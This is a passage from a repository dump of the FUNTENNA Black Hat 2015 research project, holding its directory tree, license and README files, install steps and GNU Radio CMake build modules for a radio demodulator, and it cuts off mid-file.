├── LICENSE.md ├── README.md ├── gr-funtenna_ook_demod ├── CMakeLists.txt ├── INSTALL.md ├── MANIFEST.md ├── README.md ├── README.md~ ├── apps │ └── CMakeLists.txt ├── cmake │ ├── Modules │ │ ├── CMakeParseArgumentsCopy.cmake │ │ ├── FindCppUnit.cmake │ │ ├── FindGnuradioRuntime.cmake │ │ ├── GrMiscUtils.cmake │ │ ├── GrPlatform.cmake │ │ ├── GrPython.cmake │ │ ├── GrSwig.cmake │ │ ├── GrTest.cmake │ │ ├── UseSWIG.cmake │ │ └── funtenna_ook_demodConfig.cmake │ └── cmake_uninstall.cmake.in ├── docs │ ├── CMakeLists.txt │ ├── README.funtenna_ook_demod │ └── doxygen │ │ ├── CMakeLists.txt │ │ ├── Doxyfile.in │ │ ├── Doxyfile.swig_doc.in │ │ ├── doxyxml │ │ ├── __init__.py │ │ ├── base.py │ │ ├── doxyindex.py │ │ ├── generated │ │ │ ├── __init__.py │ │ │ ├── compound.py │ │ │ ├── compoundsuper.py │ │ │ ├── index.py │ │ │ └── indexsuper.py │ │ └── text.py │ │ ├── other │ │ ├── group_defs.dox │ │ └── main_page.dox │ │ └── swig_doc.py ├── examples │ └── funtenna_demod │ │ ├── Makefile │ │ ├── README │ │ ├── funtenna_demod.grc │ │ ├── funtenna_demod.py │ │ ├── funtenna_iq.tar.gz │ │ └── funtenna_pretty_print.py ├── grc │ ├── CMakeLists.txt │ ├── funtenna_ook_demod_funtenna_decode.xml │ └── funtenna_ook_demod_funtenna_demod.xml ├── include │ └── funtenna_ook_demod │ │ ├── CMakeLists.txt │ │ ├── api.h │ │ ├── funtenna_decode.h │ │ └── funtenna_demod.h ├── lib │ ├── CMakeLists.txt │ ├── funtenna_decode_impl.cc │ ├── funtenna_decode_impl.h │ ├── funtenna_demod_impl.cc │ ├── funtenna_demod_impl.h │ ├── qa_funtenna_ook_demod.cc │ ├── qa_funtenna_ook_demod.h │ └── test_funtenna_ook_demod.cc ├── python │ ├── CMakeLists.txt │ ├── __init__.py │ ├── build_utils.py │ └── build_utils_codes.py └── swig │ ├── CMakeLists.txt │ └── funtenna_ook_demod_swig.i ├── pantum_funtenna_poc ├── Makefile ├── README.md ├── bank_0_3.cfgbin ├── ocd_interface.py ├── ocd_interface.py~ ├── pantum.dump ├── pantum_gpio_push_acoustic.as ├── pantum_gpio_push_sensors.as ├── pantum_gpio_uart_onoff.as ├── pantumhook.as ├── pantumhook_sensorcmd.as ├── pantumpatch.as ├── pantumreturn.as └── printer_jam.py └── us-15-Cui-EmanateLikeABoss.pdf /LICENSE.md: -------------------------------------------------------------------------------- 1 | #This is part of the FUNTENNA program. 2 | 3 | #This program is free software: you can redistribute it and/or modify 4 | #it under the terms of the GNU General Public License as published by 5 | #the Free Software Foundation, either version 3 of the License, or 6 | #(at your option) any later version. 7 | 8 | #This program is distributed in the hope that it will be useful, 9 | #but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | #GNU General Public License for more details. 12 | 13 | #You should have received a copy of the GNU General Public License 14 | #along with this program. If not, see . 15 | 16 | # Ang Cui 17 | # 0xAC 18 | # ang.cui@gmail.com 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #This is part of the FUNTENNA program. 2 | 3 | #This program is free software: you can redistribute it and/or modify 4 | #it under the terms of the GNU General Public License as published by 5 | #the Free Software Foundation, either version 3 of the License, or 6 | #(at your option) any later version. 7 | 8 | #This program is distributed in the hope that it will be useful, 9 | #but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | #GNU General Public License for more details. 12 | 13 | #You should have received a copy of the GNU General Public License 14 | #along with this program. If not, see . 15 | 16 | # Ang Cui 17 | # 0xAC 18 | # ang.cui@gmail.com 19 | 20 | 21 | Manifest: 22 | 23 | us-15-Cui-EmanateLikeABoss.pdf 24 | - Blackhat USA 2015 slides 25 | 26 | pantum_funtenna_poc/ 27 | - contains all funtenna code for the Pantum 2502W printer 28 | 29 | gr-funtenna_ook_demod/ 30 | - contains a GNU_Radio On_Off_keying demodulator to be used 31 | with funtenna code 32 | 33 | For more information, see www.funtenna.org 34 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Copyright 2011,2012,2014 Free Software Foundation, Inc. 2 | # 3 | # This file is part of GNU Radio 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | ######################################################################## 21 | # Project setup 22 | ######################################################################## 23 | cmake_minimum_required(VERSION 2.6) 24 | project(gr-funtenna_ook_demod CXX C) 25 | enable_testing() 26 | 27 | #select the release build type by default to get optimization flags 28 | if(NOT CMAKE_BUILD_TYPE) 29 | set(CMAKE_BUILD_TYPE "Release") 30 | message(STATUS "Build type not specified: defaulting to release.") 31 | endif(NOT CMAKE_BUILD_TYPE) 32 | set(CMAKE_BUILD_TYPE ${CMAKE_BUILD_TYPE} CACHE STRING "") 33 | 34 | #make sure our local CMake Modules path comes first 35 | list(INSERT CMAKE_MODULE_PATH 0 ${CMAKE_SOURCE_DIR}/cmake/Modules) 36 | 37 | ######################################################################## 38 | # Compiler specific setup 39 | ######################################################################## 40 | if(CMAKE_COMPILER_IS_GNUCXX AND NOT WIN32) 41 | #http://gcc.gnu.org/wiki/Visibility 42 | add_definitions(-fvisibility=hidden) 43 | endif() 44 | 45 | ######################################################################## 46 | # Find boost 47 | ######################################################################## 48 | if(UNIX AND EXISTS "/usr/lib64") 49 | list(APPEND BOOST_LIBRARYDIR "/usr/lib64") #fedora 64-bit fix 50 | endif(UNIX AND EXISTS "/usr/lib64") 51 | set(Boost_ADDITIONAL_VERSIONS 52 | "1.35.0" "1.35" "1.36.0" "1.36" "1.37.0" "1.37" "1.38.0" "1.38" "1.39.0" "1.39" 53 | "1.40.0" "1.40" "1.41.0" "1.41" "1.42.0" "1.42" "1.43.0" "1.43" "1.44.0" "1.44" 54 | "1.45.0" "1.45" "1.46.0" "1.46" "1.47.0" "1.47" "1.48.0" "1.48" "1.49.0" "1.49" 55 | "1.50.0" "1.50" "1.51.0" "1.51" "1.52.0" "1.52" "1.53.0" "1.53" "1.54.0" "1.54" 56 | "1.55.0" "1.55" "1.56.0" "1.56" "1.57.0" "1.57" "1.58.0" "1.58" "1.59.0" "1.59" 57 | "1.60.0" "1.60" "1.61.0" "1.61" "1.62.0" "1.62" "1.63.0" "1.63" "1.64.0" "1.64" 58 | "1.65.0" "1.65" "1.66.0" "1.66" "1.67.0" "1.67" "1.68.0" "1.68" "1.69.0" "1.69" 59 | ) 60 | find_package(Boost "1.35" COMPONENTS filesystem system) 61 | 62 | if(NOT Boost_FOUND) 63 | message(FATAL_ERROR "Boost required to compile funtenna_ook_demod") 64 | endif() 65 | 66 | ######################################################################## 67 | # Install directories 68 | ######################################################################## 69 | include(GrPlatform) #define LIB_SUFFIX 70 | set(GR_RUNTIME_DIR bin) 71 | set(GR_LIBRARY_DIR lib${LIB_SUFFIX}) 72 | set(GR_INCLUDE_DIR include/funtenna_ook_demod) 73 | set(GR_DATA_DIR share) 74 | set(GR_PKG_DATA_DIR ${GR_DATA_DIR}/${CMAKE_PROJECT_NAME}) 75 | set(GR_DOC_DIR ${GR_DATA_DIR}/doc) 76 | set(GR_PKG_DOC_DIR ${GR_DOC_DIR}/${CMAKE_PROJECT_NAME}) 77 | set(GR_CONF_DIR etc) 78 | set(GR_PKG_CONF_DIR ${GR_CONF_DIR}/${CMAKE_PROJECT_NAME}/conf.d) 79 | set(GR_LIBEXEC_DIR libexec) 80 | set(GR_PKG_LIBEXEC_DIR ${GR_LIBEXEC_DIR}/${CMAKE_PROJECT_NAME}) 81 | set(GRC_BLOCKS_DIR ${GR_PKG_DATA_DIR}/grc/blocks) 82 | 83 | ######################################################################## 84 | # On Apple only, set install name and use rpath correctly, if not already set 85 | ######################################################################## 86 | if(APPLE) 87 | if(NOT CMAKE_INSTALL_NAME_DIR) 88 | set(CMAKE_INSTALL_NAME_DIR 89 | ${CMAKE_INSTALL_PREFIX}/${GR_LIBRARY_DIR} CACHE 90 | PATH "Library Install Name Destination Directory" FORCE) 91 | endif(NOT CMAKE_INSTALL_NAME_DIR) 92 | if(NOT CMAKE_INSTALL_RPATH) 93 | set(CMAKE_INSTALL_RPATH 94 | ${CMAKE_INSTALL_PREFIX}/${GR_LIBRARY_DIR} CACHE 95 | PATH "Library Install RPath" FORCE) 96 | endif(NOT CMAKE_INSTALL_RPATH) 97 | if(NOT CMAKE_BUILD_WITH_INSTALL_RPATH) 98 | set(CMAKE_BUILD_WITH_INSTALL_RPATH ON CACHE 99 | BOOL "Do Build Using Library Install RPath" FORCE) 100 | endif(NOT CMAKE_BUILD_WITH_INSTALL_RPATH) 101 | endif(APPLE) 102 | 103 | ######################################################################## 104 | # Find gnuradio build dependencies 105 | ######################################################################## 106 | find_package(CppUnit) 107 | find_package(Doxygen) 108 | 109 | # Search for GNU Radio and its components and versions. Add any 110 | # components required to the list of GR_REQUIRED_COMPONENTS (in all 111 | # caps such as FILTER or FFT) and change the version to the minimum 112 | # API compatible version required. 113 | set(GR_REQUIRED_COMPONENTS RUNTIME) 114 | find_package(Gnuradio "3.7.2" REQUIRED) 115 | 116 | if(NOT CPPUNIT_FOUND) 117 | message(FATAL_ERROR "CppUnit required to compile funtenna_ook_demod") 118 | endif() 119 | 120 | ######################################################################## 121 | # Setup doxygen option 122 | ######################################################################## 123 | if(DOXYGEN_FOUND) 124 | option(ENABLE_DOXYGEN "Build docs using Doxygen" ON) 125 | else(DOXYGEN_FOUND) 126 | option(ENABLE_DOXYGEN "Build docs using Doxygen" OFF) 127 | endif(DOXYGEN_FOUND) 128 | 129 | ######################################################################## 130 | # Setup the include and linker paths 131 | ######################################################################## 132 | include_directories( 133 | ${CMAKE_SOURCE_DIR}/lib 134 | ${CMAKE_SOURCE_DIR}/include 135 | ${CMAKE_BINARY_DIR}/lib 136 | ${CMAKE_BINARY_DIR}/include 137 | ${Boost_INCLUDE_DIRS} 138 | ${CPPUNIT_INCLUDE_DIRS} 139 | ${GNURADIO_ALL_INCLUDE_DIRS} 140 | ) 141 | 142 | link_directories( 143 | ${Boost_LIBRARY_DIRS} 144 | ${CPPUNIT_LIBRARY_DIRS} 145 | ${GNURADIO_RUNTIME_LIBRARY_DIRS} 146 | ) 147 | 148 | # Set component parameters 149 | set(GR_FUNTENNA_OOK_DEMOD_INCLUDE_DIRS ${CMAKE_CURRENT_SOURCE_DIR}/include CACHE INTERNAL "" FORCE) 150 | set(GR_FUNTENNA_OOK_DEMOD_SWIG_INCLUDE_DIRS ${CMAKE_CURRENT_SOURCE_DIR}/swig CACHE INTERNAL "" FORCE) 151 | 152 | ######################################################################## 153 | # Create uninstall target 154 | ######################################################################## 155 | configure_file( 156 | ${CMAKE_SOURCE_DIR}/cmake/cmake_uninstall.cmake.in 157 | ${CMAKE_CURRENT_BINARY_DIR}/cmake_uninstall.cmake 158 | @ONLY) 159 | 160 | add_custom_target(uninstall 161 | ${CMAKE_COMMAND} -P ${CMAKE_CURRENT_BINARY_DIR}/cmake_uninstall.cmake 162 | ) 163 | 164 | ######################################################################## 165 | # Add subdirectories 166 | ######################################################################## 167 | add_subdirectory(include/funtenna_ook_demod) 168 | add_subdirectory(lib) 169 | add_subdirectory(swig) 170 | add_subdirectory(python) 171 | add_subdirectory(grc) 172 | add_subdirectory(apps) 173 | add_subdirectory(docs) 174 | 175 | ######################################################################## 176 | # Install cmake search helper for this library 177 | ######################################################################## 178 | if(NOT CMAKE_MODULES_DIR) 179 | set(CMAKE_MODULES_DIR lib${LIB_SUFFIX}/cmake) 180 | endif(NOT CMAKE_MODULES_DIR) 181 | 182 | install(FILES cmake/Modules/funtenna_ook_demodConfig.cmake 183 | DESTINATION ${CMAKE_MODULES_DIR}/funtenna_ook_demod 184 | ) 185 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/INSTALL.md: -------------------------------------------------------------------------------- 1 | #Basic Installation Instructions 2 | 3 | For notes on installation/creation of Gnuradio Out-Of-Tree modules: 4 | https://gnuradio.org/redmine/projects/gnuradio/wiki/OutOfTreeModules 5 | 6 | For Linux: 7 | `cd build` 8 | `cmake ..` 9 | `make` 10 | `make install` 11 | 12 | Mac OS X Notes: 13 | On OS X, if you have linked your Gnuradio build with a non-system version 14 | of Python (homebrew, macports, etc.), you must supply cmake with the same 15 | Python paths. 16 | 17 | Here is an example if Gnuradio was linked with a homebrew python path: 18 | 19 | `cd build` 20 | `cmake -DPYTHON_LIBRARY=/usr/local/Cellar/python/2.7.10/Frameworks/Python.framework/Versions/2.7/lib/libpython2.7.dylib -DPYTHON_INCLUDE_DIR=/usr/local/Cellar/python/2.7.10/Frameworks/Python.framework/Versions/2.7/include/python2.7 ..` 21 | `make` 22 | `make install` 23 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/MANIFEST.md: -------------------------------------------------------------------------------- 1 | title: The FUNTENNA_OOK_DEMOD OOT Module 2 | brief: Short description of gr-funtenna_ook_demod 3 | tags: # Tags are arbitrary, but look at CGRAN what other authors are using 4 | - sdr 5 | author: 6 | - Author Name 7 | copyright_owner: 8 | - Copyright Owner 1 9 | license: 10 | #repo: # Put the URL of the repository here, or leave blank for default 11 | #website: # If you have a separate project website, put it here 12 | #icon: # Put a URL to a square image here that will be used as an icon on CGRAN 13 | --- 14 | A longer, multi-line description of gr-funtenna_ook_demod. 15 | You may use some *basic* Markdown here. 16 | If left empty, it will try to find a README file instead. 17 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/README.md: -------------------------------------------------------------------------------- 1 | #This is part of the FUNTENNA program. 2 | 3 | #This program is free software: you can redistribute it and/or modify 4 | #it under the terms of the GNU General Public License as published by 5 | #the Free Software Foundation, either version 3 of the License, or 6 | #(at your option) any later version. 7 | 8 | #This program is distributed in the hope that it will be useful, 9 | #but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | #GNU General Public License for more details. 12 | 13 | #You should have received a copy of the GNU General Public License 14 | #along with this program. If not, see . 15 | 16 | # Ang Cui 17 | # 0xAC 18 | # ang.cui@gmail.com 19 | 20 | # Funtenna Demodulator/Decoder 21 | 22 | For basic installation instructions, see the INSTALL file. 23 | 24 | To set up the example, enter the 'examples/funtenna_demod' directory and run 25 | `tar xzf funtenna_iq.tar.gz` 26 | 27 | To run the example from Black Hat 2015: 28 | `make funtenna_demod` 29 | 30 | For pretty output on stdout, run 31 | `make funtenna_demod_prettyprint` 32 | 33 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/README.md~: -------------------------------------------------------------------------------- 1 | # Funtenna Demodulator/Decoder 2 | 3 | For basic installation instructions, see the INSTALL file. 4 | 5 | To set up the example, enter the 'examples/funtenna_demod' directory and run 6 | `tar xzf funtenna_iq.tar.gz` 7 | 8 | To run the example from Black Hat 2015: 9 | `make funtenna_demod` 10 | 11 | For pretty output on stdout, run 12 | `make funtenna_demod_prettyprint` 13 | 14 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/apps/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Copyright 2011 Free Software Foundation, Inc. 2 | # 3 | # This file is part of GNU Radio 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | include(GrPython) 21 | 22 | GR_PYTHON_INSTALL( 23 | PROGRAMS 24 | DESTINATION bin 25 | ) 26 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/cmake/Modules/CMakeParseArgumentsCopy.cmake: -------------------------------------------------------------------------------- 1 | # CMAKE_PARSE_ARGUMENTS( args...) 2 | # 3 | # CMAKE_PARSE_ARGUMENTS() is intended to be used in macros or functions for 4 | # parsing the arguments given to that macro or function. 5 | # It processes the arguments and defines a set of variables which hold the 6 | # values of the respective options. 7 | # 8 | # The argument contains all options for the respective macro, 9 | # i.e. keywords which can be used when calling the macro without any value 10 | # following, like e.g. the OPTIONAL keyword of the install() command. 11 | # 12 | # The argument contains all keywords for this macro 13 | # which are followed by one value, like e.g. DESTINATION keyword of the 14 | # install() command. 15 | # 16 | # The argument contains all keywords for this macro 17 | # which can be followed by more than one value, like e.g. the TARGETS or 18 | # FILES keywords of the install() command. 19 | # 20 | # When done, CMAKE_PARSE_ARGUMENTS() will have defined for each of the 21 | # keywords listed in , and 22 | # a variable composed of the given 23 | # followed by "_" and the name of the respective keyword. 24 | # These variables will then hold the respective value from the argument list. 25 | # For the keywords this will be TRUE or FALSE. 26 | # 27 | # All remaining arguments are collected in a variable 28 | # _UNPARSED_ARGUMENTS, this can be checked afterwards to see whether 29 | # your macro was called with unrecognized parameters. 30 | # 31 | # As an example here a my_install() macro, which takes similar arguments as the 32 | # real install() command: 33 | # 34 | # function(MY_INSTALL) 35 | # set(options OPTIONAL FAST) 36 | # set(oneValueArgs DESTINATION RENAME) 37 | # set(multiValueArgs TARGETS CONFIGURATIONS) 38 | # cmake_parse_arguments(MY_INSTALL "${options}" "${oneValueArgs}" "${multiValueArgs}" ${ARGN} ) 39 | # ... 40 | # 41 | # Assume my_install() has been called like this: 42 | # my_install(TARGETS foo bar DESTINATION bin OPTIONAL blub) 43 | # 44 | # After the cmake_parse_arguments() call the macro will have set the following 45 | # variables: 46 | # MY_INSTALL_OPTIONAL = TRUE 47 | # MY_INSTALL_FAST = FALSE (this option was not used when calling my_install() 48 | # MY_INSTALL_DESTINATION = "bin" 49 | # MY_INSTALL_RENAME = "" (was not used) 50 | # MY_INSTALL_TARGETS = "foo;bar" 51 | # MY_INSTALL_CONFIGURATIONS = "" (was not used) 52 | # MY_INSTALL_UNPARSED_ARGUMENTS = "blub" (no value expected after "OPTIONAL" 53 | # 54 | # You can the continue and process these variables. 55 | # 56 | # Keywords terminate lists of values, e.g. if directly after a one_value_keyword 57 | # another recognized keyword follows, this is interpreted as the beginning of 58 | # the new option. 59 | # E.g. my_install(TARGETS foo DESTINATION OPTIONAL) would result in 60 | # MY_INSTALL_DESTINATION set to "OPTIONAL", but MY_INSTALL_DESTINATION would 61 | # be empty and MY_INSTALL_OPTIONAL would be set to TRUE therefor. 62 | 63 | #============================================================================= 64 | # Copyright 2010 Alexander Neundorf 65 | # 66 | # Distributed under the OSI-approved BSD License (the "License"); 67 | # see accompanying file Copyright.txt for details. 68 | # 69 | # This software is distributed WITHOUT ANY WARRANTY; without even the 70 | # implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 71 | # See the License for more information. 72 | #============================================================================= 73 | # (To distribute this file outside of CMake, substitute the full 74 | # License text for the above reference.) 75 | 76 | 77 | if(__CMAKE_PARSE_ARGUMENTS_INCLUDED) 78 | return() 79 | endif() 80 | set(__CMAKE_PARSE_ARGUMENTS_INCLUDED TRUE) 81 | 82 | 83 | function(CMAKE_PARSE_ARGUMENTS prefix _optionNames _singleArgNames _multiArgNames) 84 | # first set all result variables to empty/FALSE 85 | foreach(arg_name ${_singleArgNames} ${_multiArgNames}) 86 | set(${prefix}_${arg_name}) 87 | endforeach(arg_name) 88 | 89 | foreach(option ${_optionNames}) 90 | set(${prefix}_${option} FALSE) 91 | endforeach(option) 92 | 93 | set(${prefix}_UNPARSED_ARGUMENTS) 94 | 95 | set(insideValues FALSE) 96 | set(currentArgName) 97 | 98 | # now iterate over all arguments and fill the result variables 99 | foreach(currentArg ${ARGN}) 100 | list(FIND _optionNames "${currentArg}" optionIndex) # ... then this marks the end of the arguments belonging to this keyword 101 | list(FIND _singleArgNames "${currentArg}" singleArgIndex) # ... then this marks the end of the arguments belonging to this keyword 102 | list(FIND _multiArgNames "${currentArg}" multiArgIndex) # ... then this marks the end of the arguments belonging to this keyword 103 | 104 | if(${optionIndex} EQUAL -1 AND ${singleArgIndex} EQUAL -1 AND ${multiArgIndex} EQUAL -1) 105 | if(insideValues) 106 | if("${insideValues}" STREQUAL "SINGLE") 107 | set(${prefix}_${currentArgName} ${currentArg}) 108 | set(insideValues FALSE) 109 | elseif("${insideValues}" STREQUAL "MULTI") 110 | list(APPEND ${prefix}_${currentArgName} ${currentArg}) 111 | endif() 112 | else(insideValues) 113 | list(APPEND ${prefix}_UNPARSED_ARGUMENTS ${currentArg}) 114 | endif(insideValues) 115 | else() 116 | if(NOT ${optionIndex} EQUAL -1) 117 | set(${prefix}_${currentArg} TRUE) 118 | set(insideValues FALSE) 119 | elseif(NOT ${singleArgIndex} EQUAL -1) 120 | set(currentArgName ${currentArg}) 121 | set(${prefix}_${currentArgName}) 122 | set(insideValues "SINGLE") 123 | elseif(NOT ${multiArgIndex} EQUAL -1) 124 | set(currentArgName ${currentArg}) 125 | set(${prefix}_${currentArgName}) 126 | set(insideValues "MULTI") 127 | endif() 128 | endif() 129 | 130 | endforeach(currentArg) 131 | 132 | # propagate the result variables to the caller: 133 | foreach(arg_name ${_singleArgNames} ${_multiArgNames} ${_optionNames}) 134 | set(${prefix}_${arg_name} ${${prefix}_${arg_name}} PARENT_SCOPE) 135 | endforeach(arg_name) 136 | set(${prefix}_UNPARSED_ARGUMENTS ${${prefix}_UNPARSED_ARGUMENTS} PARENT_SCOPE) 137 | 138 | endfunction(CMAKE_PARSE_ARGUMENTS _options _singleArgs _multiArgs) 139 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/cmake/Modules/FindCppUnit.cmake: -------------------------------------------------------------------------------- 1 | # http://www.cmake.org/pipermail/cmake/2006-October/011446.html 2 | # Modified to use pkg config and use standard var names 3 | 4 | # 5 | # Find the CppUnit includes and library 6 | # 7 | # This module defines 8 | # CPPUNIT_INCLUDE_DIR, where to find tiff.h, etc. 9 | # CPPUNIT_LIBRARIES, the libraries to link against to use CppUnit. 10 | # CPPUNIT_FOUND, If false, do not try to use CppUnit. 11 | 12 | INCLUDE(FindPkgConfig) 13 | PKG_CHECK_MODULES(PC_CPPUNIT "cppunit") 14 | 15 | FIND_PATH(CPPUNIT_INCLUDE_DIRS 16 | NAMES cppunit/TestCase.h 17 | HINTS ${PC_CPPUNIT_INCLUDE_DIR} 18 | ${CMAKE_INSTALL_PREFIX}/include 19 | PATHS 20 | /usr/local/include 21 | /usr/include 22 | ) 23 | 24 | FIND_LIBRARY(CPPUNIT_LIBRARIES 25 | NAMES cppunit 26 | HINTS ${PC_CPPUNIT_LIBDIR} 27 | ${CMAKE_INSTALL_PREFIX}/lib 28 | ${CMAKE_INSTALL_PREFIX}/lib64 29 | PATHS 30 | ${CPPUNIT_INCLUDE_DIRS}/../lib 31 | /usr/local/lib 32 | /usr/lib 33 | ) 34 | 35 | LIST(APPEND CPPUNIT_LIBRARIES ${CMAKE_DL_LIBS}) 36 | 37 | INCLUDE(FindPackageHandleStandardArgs) 38 | FIND_PACKAGE_HANDLE_STANDARD_ARGS(CPPUNIT DEFAULT_MSG CPPUNIT_LIBRARIES CPPUNIT_INCLUDE_DIRS) 39 | MARK_AS_ADVANCED(CPPUNIT_LIBRARIES CPPUNIT_INCLUDE_DIRS) 40 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/cmake/Modules/FindGnuradioRuntime.cmake: -------------------------------------------------------------------------------- 1 | INCLUDE(FindPkgConfig) 2 | PKG_CHECK_MODULES(PC_GNURADIO_RUNTIME gnuradio-runtime) 3 | 4 | if(PC_GNURADIO_RUNTIME_FOUND) 5 | # look for include files 6 | FIND_PATH( 7 | GNURADIO_RUNTIME_INCLUDE_DIRS 8 | NAMES gnuradio/top_block.h 9 | HINTS $ENV{GNURADIO_RUNTIME_DIR}/include 10 | ${PC_GNURADIO_RUNTIME_INCLUDE_DIRS} 11 | ${CMAKE_INSTALL_PREFIX}/include 12 | PATHS /usr/local/include 13 | /usr/include 14 | ) 15 | 16 | # look for libs 17 | FIND_LIBRARY( 18 | GNURADIO_RUNTIME_LIBRARIES 19 | NAMES gnuradio-runtime 20 | HINTS $ENV{GNURADIO_RUNTIME_DIR}/lib 21 | ${PC_GNURADIO_RUNTIME_LIBDIR} 22 | ${CMAKE_INSTALL_PREFIX}/lib/ 23 | ${CMAKE_INSTALL_PREFIX}/lib64/ 24 | PATHS /usr/local/lib 25 | /usr/local/lib64 26 | /usr/lib 27 | /usr/lib64 28 | ) 29 | 30 | set(GNURADIO_RUNTIME_FOUND ${PC_GNURADIO_RUNTIME_FOUND}) 31 | endif(PC_GNURADIO_RUNTIME_FOUND) 32 | 33 | INCLUDE(FindPackageHandleStandardArgs) 34 | # do not check GNURADIO_RUNTIME_INCLUDE_DIRS, is not set when default include path us used. 35 | FIND_PACKAGE_HANDLE_STANDARD_ARGS(GNURADIO_RUNTIME DEFAULT_MSG GNURADIO_RUNTIME_LIBRARIES) 36 | MARK_AS_ADVANCED(GNURADIO_RUNTIME_LIBRARIES GNURADIO_RUNTIME_INCLUDE_DIRS) 37 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/cmake/Modules/GrMiscUtils.cmake: -------------------------------------------------------------------------------- 1 | # Copyright 2010-2011,2014 Free Software Foundation, Inc. 2 | # 3 | # This file is part of GNU Radio 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | if(DEFINED __INCLUDED_GR_MISC_UTILS_CMAKE) 21 | return() 22 | endif() 23 | set(__INCLUDED_GR_MISC_UTILS_CMAKE TRUE) 24 | 25 | ######################################################################## 26 | # Set global variable macro. 27 | # Used for subdirectories to export settings. 28 | # Example: include and library paths. 29 | ######################################################################## 30 | function(GR_SET_GLOBAL var) 31 | set(${var} ${ARGN} CACHE INTERNAL "" FORCE) 32 | endfunction(GR_SET_GLOBAL) 33 | 34 | ######################################################################## 35 | # Set the pre-processor definition if the condition is true. 36 | # - def the pre-processor definition to set and condition name 37 | ######################################################################## 38 | function(GR_ADD_COND_DEF def) 39 | if(${def}) 40 | add_definitions(-D${def}) 41 | endif(${def}) 42 | endfunction(GR_ADD_COND_DEF) 43 | 44 | ######################################################################## 45 | # Check for a header and conditionally set a compile define. 46 | # - hdr the relative path to the header file 47 | # - def the pre-processor definition to set 48 | ######################################################################## 49 | function(GR_CHECK_HDR_N_DEF hdr def) 50 | include(CheckIncludeFileCXX) 51 | CHECK_INCLUDE_FILE_CXX(${hdr} ${def}) 52 | GR_ADD_COND_DEF(${def}) 53 | endfunction(GR_CHECK_HDR_N_DEF) 54 | 55 | ######################################################################## 56 | # Include subdirectory macro. 57 | # Sets the CMake directory variables, 58 | # includes the subdirectory CMakeLists.txt, 59 | # resets the CMake directory variables. 60 | # 61 | # This macro includes subdirectories rather than adding them 62 | # so that the subdirectory can affect variables in the level above. 63 | # This provides a work-around for the lack of convenience libraries. 64 | # This way a subdirectory can append to the list of library sources. 65 | ######################################################################## 66 | macro(GR_INCLUDE_SUBDIRECTORY subdir) 67 | #insert the current directories on the front of the list 68 | list(INSERT _cmake_source_dirs 0 ${CMAKE_CURRENT_SOURCE_DIR}) 69 | list(INSERT _cmake_binary_dirs 0 ${CMAKE_CURRENT_BINARY_DIR}) 70 | 71 | #set the current directories to the names of the subdirs 72 | set(CMAKE_CURRENT_SOURCE_DIR ${CMAKE_CURRENT_SOURCE_DIR}/${subdir}) 73 | set(CMAKE_CURRENT_BINARY_DIR ${CMAKE_CURRENT_BINARY_DIR}/${subdir}) 74 | 75 | #include the subdirectory CMakeLists to run it 76 | file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}) 77 | include(${CMAKE_CURRENT_SOURCE_DIR}/CMakeLists.txt) 78 | 79 | #reset the value of the current directories 80 | list(GET _cmake_source_dirs 0 CMAKE_CURRENT_SOURCE_DIR) 81 | list(GET _cmake_binary_dirs 0 CMAKE_CURRENT_BINARY_DIR) 82 | 83 | #pop the subdir names of the front of the list 84 | list(REMOVE_AT _cmake_source_dirs 0) 85 | list(REMOVE_AT _cmake_binary_dirs 0) 86 | endmacro(GR_INCLUDE_SUBDIRECTORY) 87 | 88 | ######################################################################## 89 | # Check if a compiler flag works and conditionally set a compile define. 90 